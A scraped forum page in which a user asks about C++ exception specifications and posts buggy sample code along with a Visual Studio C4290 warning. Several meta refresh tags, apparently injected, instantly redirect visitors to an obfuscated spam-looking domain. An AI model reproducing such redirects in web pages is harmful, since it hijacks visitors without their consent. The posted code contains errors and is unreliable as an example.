<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">
|
Nou pe simpatie: inna_90 din Vrancea
 | Femeie 23 ani Vrancea cauta Barbat 30 - 48 ani |
|
|
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=www.g0-t0-ev0luti0n.info">InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
GyuTuAdministrator
Postari: 90
|
|
Hello all expert C++ programmer, sorry to post here. I have a stupid question about C++ exception handling.
How many types of exception handling in C++?
Below is my code : Code: // Exception Handling Program // Exception Specification
#include<iostream> #include<exception>
using namespace std;
int add(int, const int & throw (const char *); int main(int argc, char *argv[]) { int number = 5, user; const int &reference = number; // Reference must be initialized
while(1) { try { cout << "\nEnter a integer : "; cin >> user; cout << "The result is " << add(user, reference); } catch(const char * msg) { cout << cout << "Oops, caught: " << msg << endl; } }
return 0; }
int add(int user, const int &reference)throw (const char *) {
if (user == 0 ) throw(const char *)"Cannot enter zero";
return user + reference; } I got a warning message from the MS visual studio 2005 compiler as below.
Quote: d:\c++\exception handling\exception handling\exception handling.cpp(9) : warning C4290: C++ exception specification ignored except to indicate a function is not __declspec(nothrow)
I dont't understand what it's mean. Thanks for your explanation.
|
|
| |
|